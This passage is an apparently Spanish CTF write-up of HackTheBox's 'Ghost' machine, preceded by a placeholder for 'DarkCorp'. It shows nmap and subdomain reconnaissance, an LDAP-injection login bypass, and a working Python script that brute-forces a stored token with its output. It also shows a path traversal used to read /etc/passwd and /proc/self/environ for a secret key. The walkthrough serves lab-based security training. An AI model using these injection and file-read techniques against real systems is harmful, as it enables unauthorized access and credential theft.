Todas las pรกginas
Con tecnologรญa de GitBook
1 de 6

Insane

DarkCorp


Reconnaissance

Para la fase de reconocimiento inicial de la mรกquina DarkCorp utilizamos nuestra herramienta personalizada iRecon. Esta herramienta automatiza un escaneo Nmap completo que incluye:

  1. Detecciรณn de puertos TCP abiertos (-p- --open).

  2. Escaneo de versiones (-sV).

  3. Ejecuciรณn de scripts NSE tรญpicos para enumeraciรณn adicional (-sC).

  4. Exportaciรณn del resultado en XML y conversiรณn a HTML para facilitar su lectura.

Para empezar, exportaremos en una variable de entorno llamada IP la direcciรณn IP de la mรกquina objetivo, lanzaremos la herramienta de iRecon proporcionรกndole la variable de entorno.

Resumen de Puertos Abiertos

En la enumeraciรณn de puertos encontramos importantes como los siguientes:

Puerto
Servicio

22

SSH

80

HTTP

En un principio, la mรกquina DarkCorp es un Windows Server, probablemente un Domain Controller. Revisando los puertos abiertos que hemos logrado enumerar, comprobamos que solamente dispone del servicio SSH (Puerto 22) y una pรกgina web HTTP (Puerto 80).

Probablemente los puertos del Domain Controller sean internos, revisaremos a continuaciรณn que es lo que sucede.

โฏ iRecon 10.10.11.54

โš ๏ธ This box is still active on HackTheBox. Once retired, this article will be published for public access as per HackTheBoxโ€™s policy on publishing content from their platform.

If you need a hint or want to discuss anything related to the box, feel free to reach out to me on Discord.

Ghost

Ghost es una mรกquina Windows Active Directory de dificultad Insane que comienza con una inyecciรณn LDAP que un atacante puede aprovechar para filtrar las credenciales de una instancia de Gitea.

Analizando el cรณdigo fuente de los repositorios, el atacante puede combinar una vulnerabilidad de lectura arbitraria de archivos con una vulnerabilidad de ejecuciรณn remota de cรณdigo (RCE) para obtener acceso a un servidor Linux conectado al entorno de Active Directory.

Enumerando el sistema Linux, el atacante logra extraer un ticket Kerberos de un usuario de dominio, lo que le permite obtener acceso al propio Active Directory.

Dentro del dominio, el atacante puede crear una entrada DNS maliciosa para capturar el hash de otro usuario de dominio. Con este nuevo usuario comprometido, puede leer la contraseรฑa GMSA de una cuenta de servicio relacionada con los servicios ADFS.

Comprometiendo esta cuenta de servicio, el atacante puede forjar una respuesta Golden SAML y conseguir acceso a un panel de gestiรณn de bases de datos. Desde allรญ, explotando una base de datos MSSQL vinculada a un dominio diferente, puede ejecutar cรณdigo en una mรกquina de ese segundo dominio.

Finalmente, elevando privilegios y aprovechando la relaciรณn de confianza bidireccional entre los dos dominios, el atacante puede crear un Golden Ticket Kerberos vรกlido para ambos dominios, logrando asรญ comprometer completamente todo el bosque de Active Directory.


Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que estรกn expuestos en la mรกquina Ghost. Este resultado lo almacenaremos en un archivo llamado allPorts.

โฏ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.24 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:54 CET
Initiating SYN Stealth Scan at 18:54
Scanning 10.10.11.24 [65535 ports]
Completed SYN Stealth Scan at 18:56, 127.33s elapsed (65535 total ports)
Nmap scan report for 10.10.11.24
Host is up, received user-set (0.053s latency).
Scanned at 2025-02-07 18:54:34 CET for 127s
Not shown: 65508 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
443/tcp   open  https            syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
2179/tcp  open  vmrdp            syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
8008/tcp  open  http             syn-ack ttl 127
8443/tcp  open  https-alt        syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49443/tcp open  unknown          syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49669/tcp open  unknown          syn-ack ttl 127
49675/tcp open  unknown          syn-ack ttl 127
51066/tcp open  unknown          syn-ack ttl 127
51123/tcp open  unknown          syn-ack ttl 127
57044/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 127.43 seconds
           Raw packets sent: 131132 (5.770MB) | Rcvd: 177 (10.228KB)

A travรฉs de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generรณ el primer escaneo a travรฉs de Nmap. Esta herramienta nos copiarรก en la clipboard los puertos encontrados.

โฏ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.11.24
	[*] Open ports: 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a travรฉs del resultado obtenido de que la mรกquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

โฏ nmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044 10.10.11.24 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:59 CET
Nmap scan report for 10.10.11.24
Host is up (0.066s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-07 18:00:25Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.10.11.24:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-02-07T18:02:20+00:00; +26s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.24:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-07T17:46:39
|_Not valid after:  2055-02-07T17:46:39
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-07T18:02:21+00:00; +27s from scanner time.
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2025-02-06T17:43:29
|_Not valid after:  2025-08-08T17:43:29
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2025-02-07T18:01:41+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51066/tcp open  msrpc         Microsoft Windows RPC
51123/tcp open  msrpc         Microsoft Windows RPC
57044/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 26s, deviation: 0s, median: 25s
| smb2-time: 
|   date: 2025-02-07T18:01:41
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   99.71 ms 10.10.16.1
2   99.92 ms 10.10.11.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.54 seconds

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

โฏ xsltproc targetedXML > index.html

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato mรกs cรณmodo para su anรกlisis.

A travรฉs de la herramienta de netexec y ldapsearch enumeraremos el equipo para localizar mรกs informaciรณn. Entre la informaciรณn obtenida, verificamos el hostname, versiรณn del SO y el nombre del dominio.

โฏ nxc smb 10.10.11.24
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)

โฏ ldapsearch -x -H ldap://10.10.11.24 -s base | grep defaultNamingContext
defaultNamingContext: DC=GHOST,DC=HTB

Aรฑadiremos en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la direcciรณn IP del equipo.

โฏ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb

Web Enumeration

Realizaremos una enumeraciรณn de las tecnologรญas presentes en las diferentes pรกginas web que hemos encontrado en diferentes puertos.

โฏ whatweb http://ghost.htb
http://ghost.htb [404 Not Found] Country[RESERVED][ZZ], HTTPServer[Microsoft-HTTPAPI/2.0], IP[10.10.11.24], Microsoft-HTTPAPI[2.0], Title[Not Found]

โฏ whatweb http://ghost.htb:8008
http://ghost.htb:8008 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.24], MetaGenerator[Ghost 5.78], Open-Graph-Protocol[website], Script[application/ld+json], Title[Ghost], X-Powered-By[Express], nginx[1.18.0]

โฏ whatweb https://ghost.htb:8443
https://ghost.htb:8443 [302 Found] Cookies[connect.sid], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], RedirectLocation[/login], X-Powered-By[Express], nginx[1.18.0]
https://ghost.htb:8443/login [200 OK] Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.24], Title[Ghost Core], X-Powered-By[Express], nginx[1.18.0]

Al acceder a http://ghost.htb y https://ghost.htb verificamos que no muestra ningรบn tipo de contenido.

Cuando accedimos a http://ghost.htb:8008 nos mostrรณ una pรกgina web del CMS Ghost.

Basado en NodeJS, Ghost es un software de gestiรณn de contenidos enfocado a blogs, con multitud de integraciones y que permite una completa personalizaciรณn del aspecto. En su conjunto, es una soluciรณn que resulta muy amigable para cualquier desarrollador.

Al acceder a https://ghost.htb:8443 se nos mostraba una pรกgina web de inicio de sesiรณn con un botรณn el cual nos redirigรญa a federation.ghost.htb.

Aรฑadiremos esta nueva entrada en nuestro archivo /etc/hosts.

โฏ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb 

Al tratar de acceder a https://federation.ghost.htb verificamos un panel de inicio de sesiรณn del sitio web.

Realizaremos una enumeraciรณn de subdominios a travรฉs de la herramienta de ffuf con diferentes diccionarios, nos encontramos con los siguientes subdominios.

โฏ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://FUZZ.ghost.htb:8008/  -t 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.ghost.htb:8008/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

core                    [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 173ms]
intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 429ms]
Intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 153ms]
federation              [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 220ms]
Core                    [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 206ms]
โฏ ffuf -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://FUZZ.ghost.htb:8008/  -t 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.ghost.htb:8008/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

gitea                   [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 136ms]

Despuรฉs de una enumeraciรณn de subdominios de la pรกgina web, aรฑadiremos las siguientes entradas en nuestro archivo /etc/hosts.

โฏ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb

Al tratar de acceder a http://intranet.ghost.htb:8008 nos muestra un panel de inicio de sesiรณn a lo que parece ser la Intranet del sitio web.

Al acceder a http://gitea.ghost.htb:8008 nos encontramos con el siguiente sitio web de la plataforma de Gitea.

Al investigar mรกs en la pรกgina web de Gitea nos encontramos con dos nombres de usuarios que probablemente sean del Directorio Activo (AD).

Shell as Root

LDAP Injection

Interceptaremos la solicitud al intentar acceder al panel de intranet.ghost.htb y verificamos que al enviar la solicitud con el usuario test/test. Nos devuelve el siguiente mensaje en la respuesta del servidor. Tambiรฉn verificamos que los campos del username y password tienen de nombre la variable algo relacionado con LDAP. Lo cual nos hace pensar que por detrรกs realiza una consulta en LDAP para validar el acceso a la Intranet.

Probaremos de inyectar el siguiente carรกcter ) para cerrar la query de LDAP y al enviar la solicitud, el servidor nos devuelve un mensaje informando que ha ocurrido un error.

Probaremos de realizar un Authenticacion Bypass indicรกndole el nombre de usuario cassandra.shelton que encontramos en el Gitea e indicรกndole como contraseรฑa el carรกcter * con lo cual si no estรก bien configurado, se utilizarรก como comodรญn y rellenarรก el campo de la contraseรฑa.

Al enviar esta solicitud, verificamos que se nos ha generado un Token en la respuesta del servidor, lo cual parece indicarnos que efectivamente hemos podido realizar el Bypass correctamente.

A travรฉs de la extensiรณn de Cookie Editor aรฑadiremos este nuevo Token en la pรกgina de http://intranet.ghost.htb:8008.

Al actualizar la pรกgina se nos muestra el acceso correspondiente a la Intranet. En la secciรณn de noticias se nos indica lo siguiente.

En la secciรณn News de intranet.ghost.htb, encontramos informaciรณn sobre la migraciรณn de Gitea a Bitbucket. Los inicios de sesiรณn con credenciales de dominio estรกn deshabilitados, pero mencionan una cuenta gitea_temp_principal con un token almacenado en LDAP. Tambiรฉn indican que, temporalmente, el acceso a la intranet requiere un token secreto en lugar de la contraseรฑa de dominio.

Al acceder a la secciรณn de Users, verificamos la existencia de los diferentes usuarios del dominio.

Nos guardaremos en un archivo, el listado de usuarios del dominio que hemos encontrado en la Intranet.

โฏ cat users.txt
kathryn.holland
cassandra.shelton
robert.steeves
florence.ramirez
justin.bradley
arthur.boyd
beth.clark
charles.gray
jason.taylor
intranet_principal
gitea_temp_principal

En la secciรณn de Forums nos encontramos con la siguiente informaciรณn.

En la secciรณn News, encontramos que la migraciรณn de publicaciones desde la antigua intranet aรบn estรก en proceso, por lo que no es posible publicar o responder por el momento.

Tambiรฉn identificamos una conversaciรณn donde un usuario intenta conectar con bitbucket.ghost.htb, pero recibe un error. Segรบn una respuesta, el problema se debe a que la migraciรณn no ha finalizado y la entrada DNS aรบn no estรก configurada.

Ademรกs, hay publicaciones internas sobre logros del equipo y reconocimientos a investigadores, lo que indica una cultura organizativa activa en la intranet.

Recordando que en la secciรณn de News habรญan indicado que el usuariogitea_temp_principal disponรญa de un token almacenado en LDAP. Por lo cual, lo que realizamos es un script de LDAP Injection para intentar obtener las credenciales vรกlidas del usuario indicado a travรฉs de iniciar sesiรณn en la Intranet que vimos anteriormente que era vulnerable a LDAP Injection.

import string
import requests

# Configuraciรณn
url = 'http://intranet.ghost.htb:8008/login'
headers = {
    'Host': 'intranet.ghost.htb:8008',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
    'Connection': 'keep-alive'
}

# Caracteres a probar (puedes ampliar si el login acepta mayรบsculas o sรญmbolos)
charset = string.ascii_lowercase + string.digits  
password = ""

while True:
    found = False
    for char in charset:
        test_password = f"{password}{char}*"

        files = {
            '1_ldap-username': (None, 'gitea_temp_principal'),
            '1_ldap-secret': (None, test_password),
            '0': (None, '[{},"$K1"]')
        }

        r = requests.post(url, headers=headers, files=files)

        if r.status_code == 303:  # Cรณdigo de redirecciรณn indica login exitoso
            password += char
            print(f"[โœ”] Caracter encontrado: {char} โ†’ {password}")
            found = True
            break  # Salir del loop de caracteres y probar el siguiente

    if not found:
        print(f"[โœ…] Contraseรฑa encontrada: {password}")
        break  # Si ningรบn carรกcter fue vรกlido, finaliza

print(f"[๐Ÿ”“] Contraseรฑa final: {password}")

Al ejecutar el script, verificamos que a travรฉs de fuerza bruta, logra encontrar carรกcter por carรกcter, lo que parece ser la contraseรฑa del usuario mencionado.

โฏ python3 brute_ldap.py
[โœ”] Caracter encontrado: s โ†’ s
[โœ”] Caracter encontrado: z โ†’ sz
[โœ”] Caracter encontrado: r โ†’ szr
[โœ”] Caracter encontrado: r โ†’ szrr
[โœ”] Caracter encontrado: 8 โ†’ szrr8
[โœ”] Caracter encontrado: k โ†’ szrr8k
[โœ”] Caracter encontrado: p โ†’ szrr8kp
[โœ”] Caracter encontrado: c โ†’ szrr8kpc
[โœ”] Caracter encontrado: 3 โ†’ szrr8kpc3
[โœ”] Caracter encontrado: z โ†’ szrr8kpc3z
[โœ”] Caracter encontrado: 6 โ†’ szrr8kpc3z6
[โœ”] Caracter encontrado: o โ†’ szrr8kpc3z6o
[โœ”] Caracter encontrado: n โ†’ szrr8kpc3z6on
[โœ”] Caracter encontrado: l โ†’ szrr8kpc3z6onl
[โœ”] Caracter encontrado: q โ†’ szrr8kpc3z6onlq
[โœ”] Caracter encontrado: f โ†’ szrr8kpc3z6onlqf
[โœ…] Contraseรฑa encontrada: szrr8kpc3z6onlqf
[๐Ÿ”“] Contraseรฑa final: szrr8kpc3z6onlqf

Accederemos nuevamente a http://gitea.ghost.htb:8008 de autenticarnos con el usuario encontrado para verificar si disponemos del acceso que indicaban en la secciรณn de News.

Verificamos que hemos logrado acceder correctamente al Gitea con el usuario gitea_temp_principal.

Ghost Blog Vulnerabilities

En los repositorios que dispone el usuario actual, verificamos de la existencia de los repositoris blog y intranet.

Al acceder al repositorioghost-dev/blog se nos indica en el archivoREADME.md lo siguiente.

En el README.md del repositorio en Gitea, encontramos informaciรณn clave sobre el Ghost Blog, que utiliza Ghost CMS en un contenedor Docker.

Mencionan una futura integraciรณn con la intranet, donde algunas publicaciones serรกn destacadas o escaneadas. Para ello, han implementado una clave API compartida entre la intranet y el blog, almacenada como variable de entorno con el nombre DEV_INTRANET_KEY.

Tambiรฉn han modificado el cรณdigo fuente de Ghost CMS, en particular el archivo posts-public.js, para extraer mรกs informaciรณn de las publicaciones. Indican que, en el futuro, estos datos deberรญan almacenarse en una base de datos para evitar pรฉrdidas al recrear los contenedores.

Ademรกs, han dejado expuesta una clave API pรบblica que permite acceso a datos pรบblicos en Ghost API, lo que podrรญa ser รบtil para obtener mรกs informaciรณn del sistema.

Al acceder a revisar el archivo Dockerfile nos encontramos con el siguiente contenido.

Por otro lado, el archivo docker-compose.yml contiene la siguiente configuraciรณn.

Revisamos el รบltimo archivo que disponemos en el repositorio del Blog posts-public.js y nos encontramos con el siguiente resultado.

Using the Ghost API to retrieve Path Traversal vulnerability information

El siguiente paso serรก hacer uso de la API de Ghost, ya que segรบn la informaciรณn que recopilamos del Gitea, podรญamos hacer uso de esta API a travรฉs de la API KEY que nos proporcionaron. Verificaremos el funcionamiento de la API a travรฉs de la documentaciรณn oficial del CMS.

LogoGhost Content API DocumentationGhost - The Professional Publishing Platform

En la documentaciรณn, comprobamos que nos aparece un ejemplo de como utilizar esta API.

Interceptaremos la solicitud en BurpSuite y verificaremos que si podemos hacer uso de la API correctamente.

Le pasamos al ChatGPT el contenido del archivo posts-public.js para verificar si tenรญa alguna vulnerabilidad y nos indicรณ que existรญa la posibilidad de realizar un Path Traversal a travรฉs del valor extra.

Trataremos de verificar si podemos revisar el contenido del /etc/passwd del equipo a travรฉs de la vulnerabilidad en combinaciรณn de la API de Ghost. Verificamos que hemos logrado leer el archivo indicado, por lo tanto, tenemos una vรญa para enumerar archivos del sistema.

Si volvemos a mirar el Gitea, recordaremos que se mos menciona que hay una API compartida entre la Intranet y el blog, almacenada como variable de entorno con el nombre de DEV_INTRANET_KEY.

/proc/self/environ es un archivo especial en sistemas Linux que contiene las variables de entorno del proceso que lo lee. Detalles clave:

Se encuentra en el sistema de archivos proc (/proc/), que es una interfaz al kernel. self es un enlace simbรณlico al directorio del proceso que lo accede. Contiene las variables de entorno en formato KEY=VALUE, separadas por \0 (carรกcter nulo).

Ejemplo de uso:

Si ejecutamos:

cat /proc/self/environ

Veremos algo como:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\0HOME=/root\0USER=root\0...

(Algunos valores pueden no verse bien porque estรกn separados por \0).

Posibles riesgos

Si un proceso con permisos elevados expone su /proc/self/environ, un atacante podrรญa leer variables sensibles como AWS_SECRET_KEY, DATABASE_PASSWORD, etc.

A travรฉs del Path Traversal revisaremos las variables de entorno al directorio del proceso que lo accede. Verificamos que nos muestra el contenido en la respuesta por parte del servidor.

Desde Cyberchef descodificaremos el contenido recibido y verificamos que logramos obtener la variable de entorno DEV_INTRANET_KEY que mencionaban en Gitea.

Using the Ghost API to perform command injection and gain access to the Docker machine

Revisaremos el repositorio de ghost-dev/intranet el cual contiene la siguiente informaciรณn en el README.md.

Hemos encontrado informaciรณn en el archivo README.md que indica que la intranet y el blog estรกn en proceso de integraciรณn. Mientras el desarrollo continรบa, han expuesto una API de desarrollo en http://intranet.ghost.htb/api-dev, lo que podrรญa ser un punto de interรฉs para futuras pruebas.

Nos descargaremos el repositorio de Intranet para revisar el contenido del repositorio de Intranet.

Del archivo comprimido .zip que nos hemos descargado, lo descomprimiremos y accederemos al directorio creado.

โฏ unzip intranet.zip; cd intranet

A travรฉs del comando tree visualizaremos la estructura de los archivos descargados del repositorio ghost-dev/intranet.eeeeeeeeeeeee

โฏ tree
.
โ”œโ”€โ”€ backend
โ”‚   โ”œโ”€โ”€ Cargo.lock
โ”‚   โ”œโ”€โ”€ Cargo.toml
โ”‚   โ”œโ”€โ”€ diesel.toml
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ”œโ”€โ”€ migrations
โ”‚   โ”‚   โ”œโ”€โ”€ 2024-01-05-214725_news
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ down.sql
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ up.sql
โ”‚   โ”‚   โ””โ”€โ”€ 2024-01-05-225610_forum
โ”‚   โ”‚       โ”œโ”€โ”€ down.sql
โ”‚   โ”‚       โ””โ”€โ”€ up.sql
โ”‚   โ””โ”€โ”€ src
โ”‚       โ”œโ”€โ”€ api
โ”‚       โ”‚   โ”œโ”€โ”€ dev
โ”‚       โ”‚   โ”‚   โ””โ”€โ”€ scan.rs
โ”‚       โ”‚   โ”œโ”€โ”€ dev.rs
โ”‚       โ”‚   โ”œโ”€โ”€ forum.rs
โ”‚       โ”‚   โ”œโ”€โ”€ ldap.rs
โ”‚       โ”‚   โ”œโ”€โ”€ login.rs
โ”‚       โ”‚   โ”œโ”€โ”€ me.rs
โ”‚       โ”‚   โ”œโ”€โ”€ news.rs
โ”‚       โ”‚   โ””โ”€โ”€ users.rs
โ”‚       โ”œโ”€โ”€ api.rs
โ”‚       โ”œโ”€โ”€ database
โ”‚       โ”‚   โ”œโ”€โ”€ models.rs
โ”‚       โ”‚   โ””โ”€โ”€ schema.rs
โ”‚       โ”œโ”€โ”€ database.rs
โ”‚       โ””โ”€โ”€ main.rs
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ frontend
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ”œโ”€โ”€ next.config.js
โ”‚   โ”œโ”€โ”€ package.json
โ”‚   โ”œโ”€โ”€ postcss.config.js
โ”‚   โ”œโ”€โ”€ public
โ”‚   โ”‚   โ”œโ”€โ”€ next.svg
โ”‚   โ”‚   โ””โ”€โ”€ vercel.svg
โ”‚   โ”œโ”€โ”€ README.md
โ”‚   โ”œโ”€โ”€ src
โ”‚   โ”‚   โ”œโ”€โ”€ app
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ (dashboard)
โ”‚   โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ forum
โ”‚   โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
